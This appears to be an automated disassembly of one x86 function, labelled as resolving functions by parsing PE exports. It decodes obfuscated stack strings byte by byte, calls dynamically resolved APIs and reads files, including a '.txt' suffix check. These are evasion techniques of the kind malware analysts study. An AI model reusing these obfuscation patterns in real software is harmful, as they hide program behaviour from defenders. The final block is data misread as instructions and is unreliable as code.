Function at 0x42f740
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x80
mov edi, dword [0x4561d8]
mov dword [esp + 0x20], 0x69ad6b8f
mov dword [esp + 0x24], 0x6dfe6ff8
mov dword [esp + 0x28], 0x51f553a8
mov dword [esp + 0x2c], 0x55f157c4
mov dword [esp + 0x30], 0x59e65bbf
mov dword [esp + 0x34], 0x5dcf5fea
mov dword [esp + 0x38], 0x41e943c8
mov dword [esp + 0x3c], 0x45e147d0
mov dword [esp + 0x40], 0x49a74be0
mov dword [esp + 0x44], 0x4df24fa5
mov dword [esp + 0x48], 0x319933d9
mov dword [esp + 0x4c], 0x35a337a5
mov dword [esp + 0x50], 0x39ab3b9b
mov dword [esp + 0x54], 0x3dec3faa
mov dword [esp + 0x58], 0x21b123a4
mov dword [esp + 0x5c], 0x2526278c
mov byte [esp + 0x60], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x40
ja 0x42f816
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x20]
push dword [esp]
push eax
call fcn.004320a0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x41
jb 0x42f7f0
lea esi, [esp + 0x7c]
lea eax, [esp + 0x20]
push esi
push 0
push 0
push 0x1f
push eax
push 0
call edi
mov edi, dword [esp + 0x7c]
test edi, edi
jns 0x42f839
mov eax, 0xffffffff
jmp 0x42f83c
lea eax, [edi + edi]
push eax
call fcn.0040c920
add esp, 4
mov ebp, eax
mov ebx, dword [0x4561d8]
mov dword [esp + 0x20], 0x7f3f795d
mov dword [esp + 0x24], 0x63f27dec
mov dword [esp + 0x28], 0x67076124
mov dword [esp + 0x2c], 0x6b0b65f0
mov dword [esp + 0x30], 0x6f12694d
mov dword [esp + 0x34], 0x93016d1e
mov dword [esp + 0x38], 0x97f39104
mov dword [esp + 0x3c], 0x9bfb9504
mov dword [esp + 0x40], 0x9fb199fc
mov dword [esp + 0x44], 0x83fe9db3
mov dword [esp + 0x48], 0x87e38117
mov dword [esp + 0x4c], 0x8b1d8513
mov dword [esp + 0x50], 0x8f1d89e1
mov dword [esp + 0x54], 0xb3e08d1e
mov dword [esp + 0x58], 0xb7dbb128
mov dword [esp + 0x5c], 0xbbbab5d8
mov byte [esp + 0x60], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x40
ja 0x42f916
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x20]
push dword [esp]
push eax
call fcn.00432110
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x41
jb 0x42f8f0
push esi
push edi
push ebp
push 0x1f
lea eax, [esp + 0x30]
push eax
push 0
call ebx
lea eax, [esp + 0x1c]
push 0x60
push 3
push 0x120089
push eax
push ebp
call fcn.00449c70
add esp, 0x14
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x452608]
jmp dword [0x4526e0]
push ebp
call fcn.0040c930
add esp, 4
mov eax, dword [case.0x42fc9b.38]
nop
nop
nop
jmp eax
and bl, 1
mov eax, ebx
add esp, 0x80
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x70]
push 0
push eax
push dword [esp + 0x24]
call fcn.00449f90
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x452610]
mov dword [esp + 0x78], ebp
mov esi, dword [esp + 0x70]
lea eax, [esi + 1]
push eax
call fcn.0040c920
add esp, 4
push 0
push esi
mov dword [esp + 0x70], eax
push eax
push dword [esp + 0x28]
call fcn.0044a070
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x452618]
mov ebp, dword [esp + 0x78]
jmp dword [0x4526c8]
push dword [esp + 0x68]
call fcn.0040c930
add esp, 4
jmp dword [0x4526d0]
jmp dword [0x4526d0]
mov esi, dword [esp + 0x1c]
mov dword [esp], 0x282b2a25
mov dword [esp + 0x20], 0
mov eax, dword [esp + 0x20]
cmp eax, 3
ja 0x42fa39
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x20]
movzx eax, byte [esp + eax]
push dword [esp + 0x20]
push eax
call fcn.004318a0
add esp, 8
mov ecx, dword [esp + 0x20]
mov byte [esp + ecx], al
inc dword [esp + 0x20]
mov eax, dword [esp + 0x20]
cmp eax, 4
jb 0x42fa10
mov eax, dword [0x4561dc]
test eax, eax
je case.0x42fc9b.30
mov ecx, dword [esp]
xor edx, edx
mov edi, dword [0x4561e0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x625b6034
je 0x42ffda
inc edx
cmp eax, edx
jne 0x42fa60
jmp case.0x42fc9b.30
mov eax, dword [esp + 0x70]
mov esi, dword [esp + 0x68]
mov byte [esi + eax], 0
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x20], 0x2226241e
mov dword [esp + 0x24], 0x262dd82a
mov word [esp + 0x28], 0x95ff
mov byte [esp + 0x2a], 0xb2
lea eax, [esp + 0x2b]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xd
ja 0x42faf6
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x20]
push dword [esp]
push eax
call fcn.00432180
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xe
jb 0x42fad0
movzx ecx, byte [esp + 0x20]
test cl, cl
je 0x42fb40
lea eax, [esp + 0x20]
mov ebp, esi
jmp 0x42fb17
movzx ecx, byte [eax]
test cl, cl
je 0x42fb52
movzx edx, byte [esi]
test dl, dl
je 0x42fb50
inc esi
inc eax
lea edi, [ebp + 1]
cmp dl, cl
je 0x42fb2b
mov ebp, edi
mov esi, edi
je 0x42fb10
lea eax, [esp + 0x20]
jmp 0x42fb10
mov ebp, esi
jmp 0x42fb52
xor ebp, ebp
xor eax, eax
test ebp, ebp
sete al
jmp dword [eax*4 + 0x452620]
lea esi, [ebp + 0xa]
movzx eax, byte [ebp + 0xa]
xor edx, edx
test al, al
je 0x42fb82
mov ecx, esi
nop
cmp al, 0x22
je 0x42fb80
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42fb70
jmp 0x42fb82
mov edx, ecx
mov ecx, edx
sub ecx, esi
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x452628]
xor eax, eax
cmp byte [edx - 1], 0x74
setne al
jmp dword [eax*4 + 0x452630]
xor eax, eax
cmp byte [edx - 2], 0x78
setne al
jmp dword [eax*4 + 0x452638]
xor eax, eax
cmp byte [edx - 3], 0x74
setne al
jmp dword [eax*4 + 0x452640]
xor eax, eax
cmp byte [edx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x452648]
mov eax, ecx
inc eax
jns 0x42fbe9
mov dword [esp + 4], edx
mov dword [esp + 0x10], ebx
mov eax, 0xffffffff
jmp 0x42fbf8
mov dword [esp + 4], edx
mov dword [esp + 0x10], ebx
lea eax, [ecx*2 + 2]
mov edi, ecx
push eax
call fcn.0040c920
add esp, 4
mov dword [esp + 0x20], 0
mov dword [esp + 0xc], edi
lea ecx, [eax + edi*2]
mov edx, eax
mov dword [esp + 8], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
mov edi, dword [esp + 4]
jae 0x42fc73
mov edx, dword [esp + 8]
cmp esi, edi
jae 0x42fc73
mov edx, dword [esp + 8]
mov ebx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx], 0
je 0x42fc73
lea eax, [esp + 0x20]
push eax
push edi
push ebx
mov dword [esp + 0x24], edx
call fcn.004110d0
mov edx, dword [esp + 0x24]
add esp, 0xc
movzx ecx, word [esp + 0x20]
mov word [edx], cx
add edx, 2
cmp edx, dword [esp + 0x14]
jae 0x42fc73
add ebx, eax
cmp ebx, edi
jb 0x42fc40
mov dword [esp + 4], edi
mov word [edx], 0
push 0x60
push 3
push 0x120089
lea eax, [esp + 0x70]
push eax
push dword [esp + 0x18]
call fcn.00449c70
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452650]
mov ebx, dword [esp + 0x10]
mov eax, dword [esp + 4]
jmp dword [0x452690]
push 0
lea eax, [esp + 0x70]
push eax
push dword [esp + 0x6c]
call fcn.00449f90
add esp, 0xc
test eax, eax
setns al
mov edi, dword [esp + 0x6c]
cmp edi, 0x100000
setb cl
and cl, al
movzx eax, cl
mov ebx, dword [esp + 0x10]
jmp dword [eax*4 + 0x452658]
push edi
call fcn.0040c920
add esp, 4
push 0
push edi
mov dword [esp + 0x20], eax
push eax
push dword [esp + 0x70]
call fcn.0044a070
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452660]
xor edi, edi
mov eax, dword [esp + 8]
jmp 0x42fd28
add eax, 2
test dx, dx
je 0x42fd39
mov ecx, edi
movzx edx, word [eax]
mov edi, eax
cmp dx, 0x5c
je 0x42fd20
mov edi, ecx
jmp 0x42fd20
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x452668]
mov dword [esp + 0x14], 0
xor eax, eax
jmp 0x42fd77
jmp dword [0x45267c]
sub edi, dword [esp + 8]
sar edi, 1
inc edi
mov eax, dword [esp + 0xc]
mov dword [esp + 0x14], edi
sub eax, edi
add eax, 0x1b
push eax
call fcn.0040c920
add esp, 4
mov edi, eax
mov dword [esp + 0x20], 0x64626409
mov dword [esp + 0x24], 0x790f617e
mov dword [esp + 0x28], 0x7214c964
mov dword [esp + 0x2c], 0x30757870
mov dword [esp + 0x30], 0x7e6e7616
mov dword [esp + 0x34], 0x44027c0c
mov dword [esp + 0x38], 0x9a4e43
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1b
ja 0x42fdf6
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x20]
push dword [esp]
push eax
call fcn.00432200
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x1c
jb 0x42fdd0
movzx ecx, byte [esp + 0x20]
mov eax, edi
test cl, cl
je 0x42fe1b
lea edx, [esp + 0x21]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42fe10
mov dword [esp + 0x74], edi
mov byte [eax], 0
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x14]
sub edx, ecx
je 0x42fe5e
add esi, ecx
mov dword [esp + 0xc], edx
and edx, 3
je 0x42fe62
mov dword [esp + 0x10], ebx
xor ecx, ecx
movzx ebx, byte [esi]
cmp bl, 1
sbb esi, 0xffffffff
mov byte [eax + ecx], bl
inc ecx
cmp edx, ecx
jne 0x42fe3f
add eax, ecx
sub dword [esp + 0xc], ecx
mov ecx, eax
mov ebx, dword [esp + 0x10]
jmp 0x42fe62
mov ecx, eax
jmp 0x42feb3
mov edi, dword [esp + 0x14]
add edi, ebp
mov edx, dword [esp + 4]
sub edx, edi
add edx, 0xfffffff5
cmp edx, 3
mov edi, dword [esp + 0xc]
jb 0x42feb3
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax + 2], cl
movzx edx, byte [esi]
cmp dl, 1
sbb esi, 0xffffffff
lea ecx, [eax + 4]
mov byte [eax + 3], dl
mov eax, ecx
add edi, 0xfffffffc
jne 0x42fe7a
mov byte [ecx], 0
mov ecx, dword [esp + 0x94]
push dword [esp + 0x6c]
push dword [esp + 0x1c]
mov esi, dword [esp + 0x7c]
push esi
call fcn.0040d6f0
and bl, 1
or bl, al
jmp dword [0x452680]
push esi
call fcn.0040c930
add esp, 4
jmp dword [0x452688]
jmp dword [0x452688]
push dword [esp + 0x18]
call fcn.0040c930
add esp, 4
mov esi, dword [esp + 0x64]
mov dword [esp], 0x282b2a25
mov dword [esp + 0x20], 0
mov eax, dword [esp + 0x20]
cmp eax, 3
ja 0x42ff49
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x20]
movzx eax, byte [esp + eax]
push dword [esp + 0x20]
push eax
call fcn.004318a0
add esp, 8
mov ecx, dword [esp + 0x20]
mov byte [esp + ecx], al
inc dword [esp + 0x20]
mov eax, dword [esp + 0x20]
cmp eax, 4
jb 0x42ff20
mov eax, dword [0x4561dc]
test eax, eax
je 0x42ff78
mov ecx, dword [esp]
xor edx, edx
mov edi, dword [0x4561e0]
nop
nop
nop
cmp dword [edi + edx*8], 0x625b6034
je 0x42ff70
inc edx
cmp eax, edx
jne 0x42ff60
jmp 0x42ff78
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
jne 0x42ff88
mov eax, dword [esp + 4]
jmp dword [0x452690]
jmp dword [0x45269c]
push esi
push 1
push dword [0x4561e4]
push eax
call fcn.004466e0
add esp, 0x10
mov eax, dword [esp + 4]
jmp dword [0x452690]
mov esi, eax
jmp dword [0x4526b0]
push dword [esp + 8]
call fcn.0040c930
add esp, 4
push dword [esp + 8]
call fcn.0040c930
mov eax, dword [esp + 8]
add esp, 4
jmp dword [0x4526a0]
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
je case.0x42fc9b.30
push esi
push 1
push dword [0x4561e4]
push eax
call fcn.004466e0
add esp, 0x10
jmp case.0x42fc9b.30
jmp dword [0x4526dc]
mov esi, dword [esp + 0x1c]
mov dword [esp], 0x282b2a25
mov dword [esp + 0x20], 0
mov eax, dword [esp + 0x20]
cmp eax, 3
ja 0x430059
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x20]
movzx eax, byte [esp + eax]
push dword [esp + 0x20]
push eax
call fcn.004318a0
add esp, 8
mov ecx, dword [esp + 0x20]
mov byte [esp + ecx], al
inc dword [esp + 0x20]
mov eax, dword [esp + 0x20]
cmp eax, 4
jb 0x430030
mov eax, dword [0x4561dc]
test eax, eax
je 0x430000
mov ecx, dword [esp]
xor edx, edx
mov edi, dword [0x4561e0]
nop
nop
nop
cmp dword [edi + edx*8], 0x625b6034
je 0x430080
inc edx
cmp eax, edx
jne 0x430070
jmp 0x430000
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
je 0x430000
push esi
push 1
push dword [0x4561e4]
push eax
call fcn.004466e0
add esp, 0x10
jmp dword [0x4526dc]
stc
inc edx
add byte [edx - 7], dh
inc edx
add ch, ah
stc
inc edx
add byte [ebx - 0x36ffbd07], dl
stc
inc edx
add byte [edi - 6], dh
inc edx
add byte [eax - 5], ah
inc edx
add cl, cl
stc
inc edx
add byte [ebp - 0x6fffbd05], dl
cli
inc edx
add byte [ebp - 0x6fffbd05], ah
cli
inc edx
add byte [ebp - 0x6fffbd05], dh
cli
inc edx
add ch, al
sti
inc edx
add byte [eax - 0x2affbd06], dl
sti
inc edx
add byte [eax - 0x5dffbd06], dl
cld
inc edx
add byte [eax - 0x4ffbd04], dh
inc byte [edx]
in eax, 0xfc
inc edx
add cl, ch
inc byte [edx]
push cs
std
inc edx
add byte [edi - 3], al
inc edx
add byte [eax - 3], ah
inc edx
add byte [eax - 3], ah
inc edx
add byte [eax - 3], ah
inc edx
add byte [eax - 3], ah
inc edx
add byte [esi - 3], ah
inc edx
add dl, bl
inc byte [edx]
jmp 0xef456987